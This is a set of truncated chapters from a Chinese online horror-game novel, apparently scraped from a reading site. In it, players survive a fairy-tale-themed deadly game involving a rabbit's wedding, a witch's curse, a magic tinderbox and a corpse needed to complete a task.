三瓣嘴动了动,“这不是我的新娘!她去哪里了!她去哪里了!” 兔子站起身,在房间里团团转,几次擦过床底下颤颤巍巍的三人。 “不见了!不见了!”兔子的语调听起来格外伤心,“我美丽可爱的新娘,离开了我。” 余渺渺忍不住侧过脸看当事人何年景的表情。 她毫不怀疑如果这兔子不是在游戏里,何年景一定会忍不住出去宰了它。 正这么想着,对方忽然转过脸,冷冷地盯了她一眼,似乎已经看穿了她的想法。 余渺渺表情一僵,讪讪地笑了笑,挨得离贺玉盈更近了。 兔子在房间里伤心地转了几圈,一边啪嗒啪嗒地掉着眼泪,一边用前爪擦拭毛绒绒的兔子脸,模样十分可怜。最后,它失望地离开了房间。 贺玉盈率先爬出床底,“走,跟上。” 剩下两人听话地钻了出来,跟在她身后。 贺玉盈走过套着何年景裙子的稻草人,脚步顿住,“你先把衣服换回来。” 何年景本想硬气地不换,转念一想自己还得在游戏里待三四天,只好憋屈地换了。 这期间,余渺渺一声不吭地在房间里捣鼓,也不知道在捣鼓什么。 很快,何年景就换回来了,裙子本来也方便穿。 “走了,记得不要出声。” 三人远远地跟在兔子的身后,保持着能听到它蹦跳的声音的距离。 直到这个声音消失。 “兔子出洞了。”贺玉盈说,“我们慢慢过去。” 幸运的是,洞外不是可怖的婚礼现场,外面空空荡荡的,只有草木倒伏的姿态,似乎是兔子送宾客们离开了。 三人探查了周围,确保安全后便一路狂奔,跑出几百米远才停下里哧哧喘气。 余渺渺:“幸好帅哥没在这,不然那床底怎么躲得下!” 这本来是一句无聊的闲话,谁知贺玉盈想了想,居然深表认同:“要是他在的话,一定很有意思。” “帅哥?”何年景问,“是那个叫徐伏隐的?” “看不出来啊!你也会关注帅哥!” “哼,”何年景冷哼一声,“只是经常见到他和你们一起而已……对了,他怎么不在?” 贺玉盈:“不说他了,我们离开这里要紧。” …… 幽静的森林只有鸟鸣和微风的声音,安静得仿佛能听见自己的心跳声。 贺玉盈跑着跑着便停了下来。 余渺渺:“又要歇?” “不是,”贺玉盈说,“你们看前面。” 顺着贺玉盈的手指方向,余渺渺和何年景看到了一捆柴堆,还有一个人背对她们,蜷缩着坐在柴堆边。 心跳声和呼吸声渐渐平复后,隐隐约约的哭声便显现了出来。 “他在哭?”余渺渺惊讶。 贺玉盈点点头,觉得这人的背影格外熟悉,“我们上去问问。” 正要上前时,胳膊却被人拉住,拉住她的人是何年景,“胆子真大,这你也敢去?” “没事。”贺玉盈轻轻推开她的手,朝那人过去了。 何年景在背后看着她的身影,“她一直都这样吗?” “啊?啊?你问我吗?”余渺渺指着自己鼻子。 “废话。除了你还有谁?” “哦,哦。”余渺渺摊摊手,“其实我跟她不是很熟啦。但是——” 她仔细想了想,“好像是这样的,贺玉盈她想做什么,都会去做,拦不住的啦。嗯,就算我们都不同意,她一个人也要去……就是这样。” 说完以后,她忽然联想到徐伏隐的离开。 难道是因为这个原因吗? 余渺渺迷惘地晃晃脑袋。 何年景:“从来没见过这么固执的人。” 她不耐烦地吐出一口气,跟了上去。 …… 贺玉盈走到这人面前,果然是一个老熟人。 “老人家,您怎么会在这?” 白胡子老头吓了一跳,看到她的脸才镇静下来,止住抽泣声,抬起茂密的白胡须抹了抹眼角,“哎呀呀,美丽的女孩,你怎么在这?” “我们去森林参加了婚礼。”贺玉盈说。 “哎呀呀,婚礼好啊,又盛大,又隆重,漂亮的新娘有新裙子穿,到场的客人有美食享用,哎呀呀,真好啊,是参加婚礼了啊。” “您还没说为什么会在这里?如果我没有记错的话,您应该有一个磨坊?” 不说则已,一说老头的眼圈又红了,一滴一滴的眼泪潺潺地滑进胡须里,老头埋下头哭得泣不成声。 “我太不中用了!把磨坊经营得越来越差,哎呀呀,不得已变卖了许多东西……就连磨坊也要卖给别人了!哎呀呀,我真是太不中用了!” “哎呀,这可怎么办啊?”余渺渺也认出了他,听到这后半句话不禁担忧道,“几天后就是童话祭了!应该要花不少钱吧?” 此话一出,贺玉盈诧异地看了眼她,心想她怎么变机灵了,居然还学会套话了。 结果却看见她那副不似作假的担忧的表情。 看来那句话是肺腑之言。贺玉盈失望地想。 回过神来,贺玉盈才发现一向爱唠叨的老头居然一言未发,只一个劲地抬起白胡须抹眼泪,连眼神也没多给她们。 “老人家,要是您有什么需要帮忙的,就来找我吧。”看着老头小心翼翼地抬起小眼珠瞅她,贺玉盈笑了笑,“毕竟您也帮了我们很多。” 话音刚落,余渺渺就上前一步,塞给老头一颗亮晶晶的宝石,“来,别客气,这个给你。” 别说老头了,就连贺玉盈的眼珠子都快瞪出来了。她回过头看了眼一直沉默不语的何年景,对方也是一副不知情的模样。 贺玉盈:“你别告诉我是从‘那地方’拿来的。” 余渺渺:“对啊,就是从那里拿来的。” 贺玉盈扶额:“你怎么敢的?” 怎么敢从兔子那里偷宝石的? 要知道让她这几天一直焦头烂额的就是莫名其妙多出来的一片树叶子。 她倒好,直接从兔子窝里掏出来一个烫手山芋。 余渺渺:“不 23. 第23章 安徒生小镇 《奇恒之府》全本免费阅读 离开森林,三人都感到饥肠辘辘,就近钻进了一家酒馆。 酒馆中有人闲话: “听说了吗?那个克劳斯,就是有一匹马的克劳斯,他的奶奶被杀掉了!哎哟哟,真是可怜!” “是谁做出这么伤天害理的事?难道是四匹马的克劳斯吗?” “不是他,不是他。是那个有钱的饭店店主……带着金项链,挺着大肚腩的那个大财主。听说他嫌弃一匹马的克劳斯没钱,动手要赶他们出去,结果就把老太太活活打死了!” “……真是丧尽天良,他会得到报应的。” “已经得到报应了!他担心一匹马的克劳斯告到镇长那里,给了他好大一笔钱呢!听说装金币的袋子要三个人抱!” “啊,真是幸运的克劳斯。”听的人感叹道。 余渺渺小心地扯了扯贺玉盈的袖子,低声问:“这就是我们上次遇见的那个吗?” 贺玉盈点点头。 “是克劳斯的童话故事?”何年景说,“我有点印象。但是记忆里没有这一段情节,是游戏改编了吗?” 贺玉盈:“不,这就是原本的故事。” 顿了顿,又问:“余渺渺,你的宝石还有吗?” 余渺渺一拍脑门:“哎呀!你不提醒我的话我都忘了!怎么办?这些宝石怎么办?” 她紧张兮兮地从兜里翻出几颗亮闪闪的宝石。 贺玉盈从她手里拿走全部的宝石,“给我吧。应该有用处。” “真的吗?”见对方肯定地点点头,余渺渺的担忧烟消云散,“太好了!我就说没钱不行吧!” 吃过饭后,天已经彻底暗了下来——她们在森林里花了太多时间。 于是三人便干脆回到旅馆。 何年景冷淡地向她们告别,回房间关上了门。 余渺渺吐了吐舌头:“哇,都一起经历这么多了,居然还对我们爱答不理的。” 贺玉盈:“不用在意。” “唉我当然知道!就是感叹一下!”余渺渺顺着何年景的房门看过去,目光停留在紧紧关着的2-4门牌号上,“话说回来,帅哥不会从此跟我们分道扬镳了吧?真搞不懂,为什么这么突然?” 贺玉盈语气淡淡:“分开行动确实效率高些。如果他愿意跟我们分享线索的话,我们也可以给他分享线索。” “有道理……那个装扮童话人物的问题还没解决呢!”余渺渺苦恼地说,“明天就是第三天了,真是头疼。” 贺玉盈没说话。 事实上,她对这条规则已经有了一点头绪。不过时机没到,她暂时不打算把自己的猜想说出来。 “算了算了,不想了。明天见。”余渺渺对她摆手。 “嗯,明天见。” 看着余渺渺关上门,贺玉盈才走到自己房门口。拉开门把手的瞬间,一个打火匣突然掉了出来,正巧落在她的脚尖。 这个打火匣是红色的。打开它,还发现里面有一个火石。 她理所应当地想到了打火匣的用处,以及这个打火匣的来历。 过了几秒,又或者是几分钟,贺玉盈握住打火匣,打开门进去了。 到了和昨晚差不多的时间,门外的楼梯又传来了沉重的脚步声,一步一步,最后停在贺玉盈的门口。 贺玉盈早已躲在床底下,紧紧握住打火匣。 待门外传来斧头砍凿的声音时,她迅速拿出火石往打火匣上一擦,一条眼睛瞪得像茶杯那么大的狗凭空跳了出来,冲着门外狂吠。 门外的动静停滞了稍许,立刻又激烈起来。 贺玉盈毫不犹豫地连续擦了两下。 一条眼睛大得像车轮和一条眼睛大得像座塔的狗相继跳了出来,疯狂地冲着门外吼叫。 这样僵持了一会儿,门外终于安静下来。 贺玉盈试探地爬出床底,抖抖身上的灰尘,心想不会整局游戏她都要靠躲在床底度过吧? 一出来,三条长相奇怪的狗便立刻消声,乖巧地伏在她的脚边。 那条眼睛如茶杯的狗说:“主人,我们已经赶走了她。” 那条眼睛如车轮的狗说:“主人,她明天还会来到这里。” 那条眼睛如塔的狗说:“主人,明天她就会破门而入。” 贺玉盈心中自然有数,事实上,即使今晚她不使用这个打火匣,外面的怪物也无法进来,顶多是骚扰她一晚上而已。 不过既然有人送上来了,她为什么不试试?这么试下来,说不定打火匣派得上用场。 “我知道了。”贺玉盈说,“今晚你们替我守着,明天早上我醒来时你们就可以休息了。” 三条狗齐声说:“谨遵您的吩咐,主人。” 有了这个奇妙的打火匣,贺玉盈总算睡了个好觉,早上醒来时神清气爽。她翻身下床,三条狗已经消失了。 贺玉盈拿起打火匣和宝石,推开门出去了。 令她惊讶的是,门外站着的人不仅有余渺渺,还有一脸高冷的何年景。 余渺渺在她开门的一瞬间便笑嘻嘻地跳到她面前:“太好了!你没事!” 何年景:“昨晚动静那么大,睡得怎么样?” “还不错。”贺玉盈说,“为什么你们不叫我起床,等了多久了?” 不知道怎么回事,她遇见的每一个人都仿佛不爱打扰她睡觉似的,一定要等她自己睡眼惺忪地睁开眼。 就连第一局游戏里遇见的陈绘也是这样。 “担心你睡不好嘛!昨天那声音吓都吓死我了!” 余渺渺十分设身处地地想,要是有人拿着斧头在她门外砍一晚上,她肯定会胆战心惊地睁眼到天明! 何年景撇开眼:“我也是这么想的。休息不好在游戏里是致命的。” 贺玉盈没多纠结这个话题,领着两个小尾巴往卖苹果汁的少女那里去了。 到了店里,等少女端来香肠和苹果汁,贺玉盈还没开口,便听她抢先一步说话:“尊贵的旅人,树的精灵已经告诉了我全部的因果——” 她忧心忡忡地把树叶交还给贺玉盈,秀眉微微蹙起,十分惹人爱怜。 “这片树叶是女巫的标记。女巫曾有个像月亮一样美丽动人的女儿,不幸的是,她被可恶的负心汉诱骗私奔,在苹果树下惨遭杀害。起初人们以为她已经去往别乡,直到发现树下的泥土始终落着一片苍翠的树叶,挖开泥土后才知道了真相——她的头颅就被埋在树根下。女巫知道以后,立下诅咒,一定要砍掉负心汉的头报仇。” 她满脸愧疚:“我不知道父亲带回来的小树枝就来自这棵树……” 贺玉盈想,怪不得门外的怪物总是用斧头砍她的房门。 既然知道了被盯上的原因,她的心已经放松大半了。 余渺 24. 第24章 安徒生小镇 《奇恒之府》全本免费阅读 余渺渺好几次想问何年景到底要买什么东西,可是见对方一脸凝重,只好按下不言。 要说她这人有什么缺点,大概是胆子比较小,性格比较内向,再加之不太聪明……不过这也应当算不上是缺点,这世上多少人和她一样有这些特点!她自己非常清楚自己是个普通人。 最开始她也会想自己为什么会被选中来到奇恒之府这种拿命玩游戏的鬼地方,当个普通人她还无所谓,当个倒霉的普通人那就有点扎心了! ……可是既然已经这样了,她有什么办法能更改吗?她只好勉强自己融入各种各样的游戏中,靠在游戏里抱大腿组团,一直苟且偷生到现在,她乐观地认为窝囊地过完一局游戏也算是不小的本领。 要说优点,余渺渺想了又想,觉得自己勉强算得上优点的就是比较敏感。 这算什么优点啊……是缺点才对吧?说出来真丢人。 她在心中小小地唾弃了一下自己,沿着记忆中的街道,将何年景带到了她跟贺玉盈和徐伏隐一起来过的店门前。 何年景:“就是这里?” 余渺渺笃定:“就是这。” 何年景毫不犹豫地推开店门走进去,余渺渺紧随其后。 一进门,那个大肚子红鼻子的店主便停下手中的工作,欣喜地抬起头,看见是她们后又迅速沉下脸。他不情不愿地走到两人面前,瞥了眼扬起下巴的何年景,然后把视线放到跟小老鼠似的的余渺渺身上,一团白气重重地从鼻孔中喷出来: “怎么又是你?那两个外乡佬呢?哼,还换了一个人过来。” 不知是不是错觉,虽然店主的脾气依然很臭,但余渺渺觉得他没有那天那么急躁了,似乎在畏惧什么。即使这样,余渺渺也没胆子跟他说话,贺玉盈和徐伏隐都不在,她只好畏畏缩缩地缩在了何年景的身后,露出半张脸。 何年景极其嫌弃她这副窝囊的样子,或者说她嫌弃的是所有窝囊的人。她之所以不愿意跟游戏里的人太亲近,就是因为害怕遇上这种没用的队友,看着就烦心。 但是现在,她居然跟这种人单独出来做任务,光是想想就觉得天都要塌了。 “店主,我想打听一下,今天有没有一个叫克劳斯的人来过?”何年景单刀直入。 被肥肉撑起的肚子剧烈地抖动了一下,随即店主厉声道:“什么克劳斯!没有礼貌的外来人!你们到底是来干什么的!” 何年景皱皱眉,“就是克劳斯,有四匹马的克劳斯。他来过没有?” 店主忽然深深地吸了一口气,用力到像是要把周围所有的空气都吸得干干净净,“我这里从没来过什么克劳斯,你要找他,就去其他地方找,别在这里打扰我做生意!” 余渺渺小声道:“可是我听说昨天就有个克劳斯来过呀……” “滚出去!”店主像是个被戳破的气球,忽然爆发出极大的威力,甚至上手推搡她们,“你们两个给我滚出去!我这里不欢迎!滚!” 两人就这么被人踢出了店,身后的大门“砰”的一声重重关上。 余渺渺的身体随着这一声震天响抖了一下,结结巴巴地问:“我们……我们是不是把事情搞砸了?” 何年景大约此生都没有过被人扫地出门的经历,此时表情茫然。听到余渺渺的话,她条件反射地绷住了脸。 “谁说搞砸了?他不让我们进去,我们就在这里等着。” “啊?” “啊什么啊?你是蠢的吗?脑子不转吗?今天的克劳斯还没来过,我们在门口守着,肯定能守到。” 余渺渺下意识想问为什么,结果一抬眼就对上何年景那双冷若冰霜的眼睛,她心里打了个寒颤,默默地闭嘴了。 不知过了多久,气温逐渐升高,已经日上三竿了。 “贺玉盈不会遇到什么事了吧?”余渺渺担心地说,“我记得那个女生说中午后她妈和她姐就要来了,万一撞上了……” “乌鸦嘴。”被她这么一说,何年景也渐渐往不好的方向想,但仍强装镇定,“她要是这么轻易就完蛋了,怎么能把我们两个带出兔子洞?” 兔子的事情说大也不大,说小也不小。表面上看是个很简单的局,贺玉盈到来后,轻轻松松就化解掉并将她完好无损地救了出去,顺利得叫人都难以愿意花心思多想。 可是当她昨晚细细回想的时候,才发现这个局处处暗藏杀机,极为恐怖,说是必死局也毫不夸张。 首先,她侥幸以沉默化解了兔子的结婚请求,若是她直接拒绝,第一条规则便会叫她立刻毙命,连拖到贺玉盈来的机会都没有。 其次,要是她一直不肯正面回复,那么兔子在第四次开门进来之时就会怒气冲冲地打掉她的脑袋。 最后的最后,假如没有人救她,她会遭遇什么?假如救她的人不是贺玉盈,或是当时贺玉盈行差踏错一步,又会发生什么? 环环相扣,每一步都踮着脚尖走在悬崖边,她意识到她们居然惊险地与死亡擦肩。 正是因为复盘了兔子事件,何年景才开始正视不露锋芒的贺玉盈。 数条通往地狱的小路中,她却能选到唯一正确的道路,这到底是运气,还是实力? 何年景抱着好奇的心思,推开门走到2-7的房间外,和余渺渺站在一起。 余渺渺缩了缩脖子。 何年景说得也有道理,贺玉盈都那么倒霉了,一进游戏就被爱砍头的女巫盯上,结果还不是好好地活了两晚?说明她肯定有点东西。 而且她从始至终淡定从容,仿佛被死亡威胁的不是她自己一样。 说到这里,余渺渺不得不叹服—— 贺玉盈虽然是菜鸟,但心理素质着实过硬。 奇恒之府规定账户余额不足以缴纳生命税才会真正死亡,但玩家几乎都默认在游戏里被杀掉也算正儿八经的死一回了,因为游戏不会屏蔽掉玩家死时经历的痛苦。 ……据说是为了告诫玩家好好珍惜生命,努力赢下游戏赚元核什么的。 余渺渺之前就在游戏里被人用长刀捅死过一回,出了游戏后好几个月她还一直做当时的噩梦。 那个人就这么把刀送进她的肚子里,像切鱼一样轻松,肚子里的肠子顺着刀边一股脑往外流。那人把刀一抽,血就呼呼地往外喷,她当时痛得叫不出声,砸在 25. 第25章 安徒生小镇 《奇恒之府》全本免费阅读 克劳斯哈哈大笑:“只要你们没付钱,那就还是我的东西……嗯,我不能卖便宜了,肯定不能比那小子卖得便宜……十袋金币。” “十袋?”余渺渺龇牙咧嘴,“你去抢啊!” 克劳斯满不在乎地甩甩手,“你们付不起?那就别挡我的路!我要找的卖家本来就不是你们!” 说完,他便提起地上的布袋,准备往肩上甩。 “唉等一下——” “等等。” 余渺渺和何年景同时出声喝止。 前者甚至已经没忍住按住了克劳斯的手,制止他下一步的动作。 “怎么样?”克劳斯志得意满,像是认准了她们会掏钱,“买不买?” 何年景:“买。” “好啊。二十袋金币。” 余渺渺瞪大眼睛看着他这副不要脸的乞丐样:“你坐地起价?!刚刚还十袋金币!” 她可只顺了几颗宝石出来,不知道这些宝石到底值多少,能换这么多金币吗? 金子和钻石哪个更贵来着? “什么坐地起价?我一直都是这个价格。”克劳斯咧开嘴,“你们买不买?” 余渺渺觉得这人的嘴脸简直太欠了,那天那群皮匠怎么没打死他? “奸商,我们不买你能卖的出去吗?” “哼。谁说我卖不出去!等着瞧好吧!你背后那家店里的大财主肯定会花更高的价格买下。是你们先拦住我说要买,我才说价格的。你们不要?那就算了。” 说着,他又动了起来。 何年景咬着后槽牙,“我们买。余渺渺,宝石都拿出来。” 宝石? 听见这两个字,克劳斯的动作顿住,耳朵一下子竖了起来。 余渺渺闷闷不乐地掏出那几颗宝石,每一颗都流光溢彩,散发着剔透的光芒,迷人至极。 克劳斯的瞳孔倒映着这些宝石,眼睛瞬间亮了起来,继而他恋恋不舍地移开视线,尽力装出一副若无其事的样子。 没想到啊,这两个小鬼看起来穷酸,居然有这么昂贵的宝石,光是一颗……不,是半颗,就足以让他买下五匹马。不知道她们两个外乡人,是从哪里得来的宝石? 而且看样子,她们好像还不知道这些宝石的价格? 何年景问:“这些够了吗?” 克劳斯竭尽全力忍住自己的目光,仅仅扫了一下这些宝石,随即鼻孔冲天道: “不够。” “不够?”余渺渺不可置信叫道,“你这个骗子!这些都不够吗?” 克劳斯嫌弃地说:“我要的是二十袋金币!你给我的这些宝石当然不够。” 何年景说:“那等我们把宝石换成金币再来买。” “谁有空一直等你们?”克劳斯急忙开口,“你们现在不买,我就直接卖给别人了。” 绝不能让她们有机会将宝石换成金币,否则他的谎言就被戳破了! “那你说怎么办?”何年景的脸绷得紧紧的,显然已经忍到了极致。 奇恒之府真是个破地方,要是换做原来那个世界,她怎么可能会遇到这种事?!这群人,还有那只神经质的兔子,连她的脚踝都看不见。 克劳斯的眼珠转了转,眼里的精光挡也挡不住,犹豫良久,最后才大发慈悲般地摆摆手:“算了算了,看你们实在想要,就卖给你们吧。东西自己拿走,宝石都给我。” 何年景虽然不爽,但还是让余渺渺把宝石全交给他。 钱财本来就是身外之物,只要能达到目的,花点钱有什么大不了的?何况这些宝石只是游戏里的货币而已,带不出去不说,即使带出去了,在奇恒之府也买不到什么东西。 余渺渺狠狠磨了磨牙齿,笃定这个该死的克劳斯在宰她们。 可这些宝石毕竟没有贺玉盈重要,即使知道自己被宰了,她也不能拒绝这个交易。 换个思路来想,她们能用捡来的宝石救下贺玉盈的命,这是何等的幸运! 克劳斯捧着手,眼含激动地等着余渺渺把宝石放进他的手中。 “等等。” 一只白皙的手突然压住余渺渺的手腕,阻止了她的动作,“我们不买了。” 到手的宝石就这么飞了,克劳斯眼皮一跳,愤怒地看向这个不速之客。 “贺玉盈,你终于来了!”见到来人,余渺渺欣喜地喊她。 贺玉盈气喘吁吁,脸色惨白,连唇色都是苍白的,活像恐怖片里的女鬼。她拿走余渺渺手里的宝石,把她往后扯。 何年景惊讶道:“怎么了?” 明明是她要买这个布袋里的东西的,为什么现在突然赶来说不买了? “不买了。”贺玉盈上气不接下气地重复了一遍。 克劳斯大怒:“你们耍我?到底买不买!” 贺玉盈把何年景也扯到一边,让出了店门,歉疚道,“真是不好意思……我们不买了。” 克劳斯的眼神几乎称得上怨毒,恶狠狠地盯了她半晌,抓起地上的布袋,粗鲁地拖着:“不买算了!别挡我的路!” 明明贺玉盈已经让开了路,他还是故意撞了她一下,随后推开门走进店里。 门关上后,何年景又问:“……你到底是怎么想的?你……” “等等再说,”贺玉盈带着她们去一边的角落,这个角落恰好能看到饭店的大门,而不至于被人发现,“我们先到这边躲起来。” 等到跟在她身后躲好后,何年景还是按耐不住心中的疑问,道,“为什么突然不买了?那个女巫的诅咒怎么办?” 贺玉盈的视线一直盯着饭店门口,“对不起,我必须得道歉——我差点害死你们。” 此时的道歉绝对是真心诚意的,如果陈绘在场一定会大跌眼镜。 贺玉盈在意识到犯了错误后,用尽全力赶来阻止她们,值得庆幸的是,她及时赶到了,没有酿成无可救药的大错。 余渺渺惊讶:“什么意思?” “规则第二条——‘镇内一切免费供应’。” 当这句话说出来后,何年景就反应了过来,不免感到一阵后怕,“原来是这样。” “可是克劳斯他自己也同意我们用宝石来换啊?这样也不行吗?”余渺渺不解。 贺玉盈说:“既然说是‘一切’,那么应该 26. 第26章 安徒生小镇 《奇恒之府》全本免费阅读 克劳斯扛着布袋在小镇绕了半天,三人紧紧跟在他的背后。 余渺渺感觉这局游戏像是在考验玩家的跟踪能力。 克劳斯在饭店周围团团转,像是在找什么。 余渺渺问:“他在干嘛?” 贺玉盈低声说:“他在找我们。” “找我们?” 何年景接过话来:“找我们买他的东西。没人要,他只能找我们当冤大头了。” 说着,她翻了个不明显的白眼。 余渺渺:“咦,我们才不要呢。” “他迟早会放弃的,”贺玉盈说,“不用一直跟他耗。天色不早了,我们分两路怎么样?我跟着他,你们去磨坊主那里,顺便再打听一下童话祭的消息。” 余渺渺打心底不想跟她分开,跟在贺玉盈身边不用动脑筋又很有安全感,可是她自己也清楚不能总是当别人的挂件,否则用不了多久就会被厌烦,于是说:“……何年景?” 何年景这回没有固执,干脆地点点头:“可以。” “那好吧。”余渺渺顿了顿,又问:“可是具体要打听哪些消息呢?我没有思路。” 贺玉盈思忖着说:“就问问镇上的居民是怎么参加童话祭的,还有童话祭的具体流程和注意事项之类的……不要太局限,能打听到什么是什么,消息越多越好。” 有时她们自认为无用的信息,往往就是最关键的信息。 贺玉盈继续说:“今早你们走后,我顺便向那个女孩问了一句,据她所说,镇上的居民参加童话祭并没有什么限制,听她的语气似乎就是一个普通的庆典而已,再多的她就不肯说了,我猜是游戏的限制——所以问的时候目的性不要太强,不要被察觉。” “我之前打听的时候也发现了这个问题。只要一谈到我们的童话祭任务,他们就含糊其辞。”何年景说,“磨坊主那里我会尽力再套点消息。” “不着急,”贺玉盈安慰道,“时间来得及。” 商量好后,余渺渺和何年景就离开了。 贺玉盈跟着克劳斯在小镇里团团转,最后对方似是放弃了一般,来到了小镇边缘的一处溪流旁,坐在草地上发呆。 良久,他把布袋拖到溪流边,犹豫了半晌,将布袋扔在溪流边的草丛中。做完这一切后,他拍拍手,一步三回头地离开了。 贺玉盈松口气,心想幸好他没有把布袋扔进河流里,否则她还得自己去捞上来。 她小跑到草丛里,钻了进去,将布袋拖出来。 说实话,贺玉盈本人是极其不愿意做这种事的,可是她别无选择。 她的手背在背后,从衣服里掏出一把刀——这把刀是她从少女那里借来的,一直被她藏在衣服里,紧紧地贴着皮肤。她打开布袋,从里面拖出来了一具尸体。 这是一具老人的尸体,皮肤上已经长出了尸斑,肢体柔软,有多处磕绊。贺玉盈做了很大的心理准备才动手将她放好。 她非常非常不愿意做这种事,如果有选择的话。 贺玉盈双手紧紧地握住刀柄,手心蒙了一层汗,别开脸,狠心朝尸体的脖子砍去。 …… 贺玉盈赶回旅馆的第一件事,就是照少女的话,往楼梯、门口,和床前各滴了一滴血,随后她将布包藏进床下,若无其事地去敲2-1的门。 敲了半天没有回应,贺玉盈放弃了。 大概文华在外面找线索,傍晚才会回来。 “要撬门吗?” 身后突然传来声音。 贺玉盈转过身,毫不意外,“规则第三,‘不要毁坏物品’。你是想害死我吗?” 这两天消失得无影无踪的徐伏隐就站在她的身后,整洁得和刚进游戏时一样。 “是‘不要’而不是‘不能’。”徐伏隐说,“为什么不试一下?” 贺玉盈直接拒绝:“不想试。” “……你的事情解决了吗?” “差不多了,只差最后一件。” “需要他帮忙?” 贺玉盈不习惯被人这么刨根问底,对方明明心里清楚,却好像在故意惹怒她一样:“如果我猜得没错,是需要他帮一下。” “你确定他会帮吗?”徐伏隐指出,“马上就入夜了,如果你的猜测出了差错……” “至少能撑过今天。”贺玉盈打断,“能拖一天是一天。” 徐伏隐轻轻皱了下眉,似乎很不满意她这副不求上进的摆烂态度,他叹了口气:“我来找你不是说这些的。” “嗯,我想也是。你发现了什么?” 徐伏隐:“这两天我在寻找进入城堡的方式,城堡大门有卫兵把守,没有镇长的信件是不能通过的。后来我得到了线索……你还记得那个森林吗?” “记得。” 这怎么不记得,她们三个都快把那小森林绕熟了。 “森林里有一条溪流,顺着溪流往上,能找到一处暗门,可以从这里偷偷进入城堡。” “需要钥匙?” “对,需要钥匙。”徐伏隐说到这里,神色变了变,“我看过了,三个锁孔,形状很特殊。” 贺玉盈没说话,她知道他还没说完。 “……我尝试把自己的手指塞进去,发现里面有密密麻麻的尖刺,刚好契合。”徐伏隐抬起自己的食指,整个指尖血肉模糊,几乎不成形状。贺玉盈吓了一跳,明明都这样了,他居然始终面不改色,“我没有把整个手指塞进去,所以,我想,大概,需要三根断指。” 贺玉盈沉默许久才问:“游戏里砍掉的手指,出去后会长出来吗?” “不一定。”徐伏隐说,“这要看游戏是怎么判定的,但是按照我的经验,这种为游戏任务特意设定的身体损伤,髓海是不予复原的。” “这是断了我们一条路。”她又问,“锁孔和你的手指刚好契合?” 徐伏隐点头,把手递给她。她抓住了他的手,两根指头捏着他完好的手指细细地比较。 良久,贺玉盈遗憾地放下他的手。 那具尸体生前应当是个庄稼人,手指关节十分粗,一根手指几乎比得上徐伏隐两根手指,不可能塞进他所描述的锁孔中。 不过想来也对,游戏不可能让她们一劳永逸。 “有必要一定进城堡吗?”贺玉盈抿了下唇,“我是说,说不定我们根本不用进去。童话祭需要我们装扮成童话人物,这个范围很大,一厢情愿地去找做衣服的裁缝,很可能是个错误的方向。” “既然你这么说,一定是有想法了。” “是有一点。”贺玉盈犹豫了许久,还是没有点明,“这个想法不太美妙。” “所以,城堡我们去不去?” “我做决定?” 徐伏隐点头,“你做决定。如果要去,我就尽快找到断指。” “你要去哪里找?提醒你一句,别把主意打到小镇的居民身 27. 第27章 安徒生小镇 《奇恒之府》全本免费阅读 余渺渺彻底呆住:“到底是什么意思啊?” “字面意思。我们或许会被当成替死鬼。”贺玉盈说。 “居然是这样。”何年景已经明白过来,“那个老头居然打这个主意?!我们还不能拒绝!” 贺玉盈说:“塞翁失马,说不定会有意想不到的收获。” “能有什么收获?”何年景不解。 “说不定事情解决后,磨坊主会给我们一大袋金子作为回报。” “……” “我看你是疯了,满嘴跑火车。”何年景冷冷道,“事情还不知道怎么解决,你还有心思开玩笑。” 贺玉盈:“事不过三,今天是第二晚,我们先回去,明天再来。” 说完,她便走向磨坊主和女孩,“非常抱歉。我们有紧急的事情做,今晚得先离开了。” 女孩望向她,眼睛明亮如同珍珠,她擦擦眼角的泪水,善解人意地说:“谢谢你们愿意帮助我。如果有事情做的话,就赶快离开吧。” 磨坊主却急了,一大团白胡子起起伏伏,激动地说:“你们说好了要帮助我和我的女儿!如果你们离开了,我的女儿该怎么办?” 余渺渺小声地“切”了一声。何年景发出一声冷笑。 贺玉盈面色不改,拿出红色的打火匣,抓过女孩的手,放在她的手心: “这个给你。它能帮助你度过今晚。” 女孩怔怔地握住打火匣,泪眼朦胧。磨坊主盯着打火匣,没吭声,不知道在想什么。 贺玉盈冲女孩笑了一下,回头对余渺渺和何年景说了一句“我们走吧”,便离开了。 等回到旅馆,贺玉盈安慰忧心忡忡的两人回到房间后,第一时间敲开了文华的大门。 不久,文华拉开了一条缝隙,宽阔的身体将门缝遮得严严实实。 “什么事?” 贺玉盈说:“我记得你说过你房间里有个奇怪的东西。” 文华的眼神一下子警惕起来,“你有什么事?” “是花盆吗?” 早在苹果汁的少女告诉她关于花盆的要求后,她就一直有留意镇上的花,结果始终没有看到有栽种着素馨花的花盆。据说是因为担心女巫睹物思人,所以镇上的居民渐渐地都不再栽种素馨花了。 “只有那个可爱的姑娘栽种的素馨花还留在这座小镇的某个角落了吧!”树的精灵说。 贺玉盈想了又想,只想到了文华曾提过的“奇怪的东西”。 而事实证明她的猜测是正确的,因为文华立刻皱紧了眉,同时语气变了个调:“你怎么知道?你进过我房间了吗?” 贺玉盈摇摇头:“不是,是我的一个……单人任务的线索,需要用一下你房间的花盆。” 文华谨慎地打量她,“线索?” “嗯,能借我用用吗?”贺玉盈犹豫了一下,她本来不喜欢道德绑架别人,但生死面前,所有的原则都可以往后放放,“否则的话我可能会死。” “你余额多少?零?” 贺玉盈反倒愣了一下才回答:“不是。” 文华的表情放松下来。 “你打算拿花盆干什么?” “可能需要把里面的土翻出来,埋点东西进去。” “那不行。”文华果断地拒绝了,“规则有不准破坏物品这一条,所以我不能给你。” 正是因为知道这一点,贺玉盈才觉得这局游戏格外棘手。 和上一局游戏不同,虽然凶手一直隐藏身份,但她们每个人的任务却很清晰,就像做一道包含需要用到的所有已知数据的题目。 但这局游戏却截然不同,没有虎视眈眈盯着她们性命的杀手,没有完不成任务就必死的惩罚,也没有无所不能的妖魔鬼怪,有的只是短小的几句规则,和洋溢着温馨与快乐的小镇。 问题就在于游戏给的所有提示都太少了,模棱两可,有时甚至自相矛盾。 就像现在,贺玉盈需要用花盆解决女巫的追杀,那么必然就要用到花盆。而使用花盆,又一定存在违反规则的风险…… 兔子的事件也是一样,跟它去森林会被逼结婚,不跟它去又似乎违反了规则,打开门会面对未知的风险,不打开门则会被杀害。 克劳斯,磨坊主……一桩一件,无论做出什么样的选择,都会面临死亡威胁。 难道这局游戏就是这样吗?表面上平静无波,实际却是无解的必死局? 文华:“也不是我不想帮你,可是这花盆是我房间里的东西,如果出了问题,那死的人就是我。” “我理解。”贺玉盈点点头。 “而且你还有元核吧?”文华安慰她,“输了也没事,不会真死的,你还不用继续在游戏里担惊受怕了,直接就能出去。” 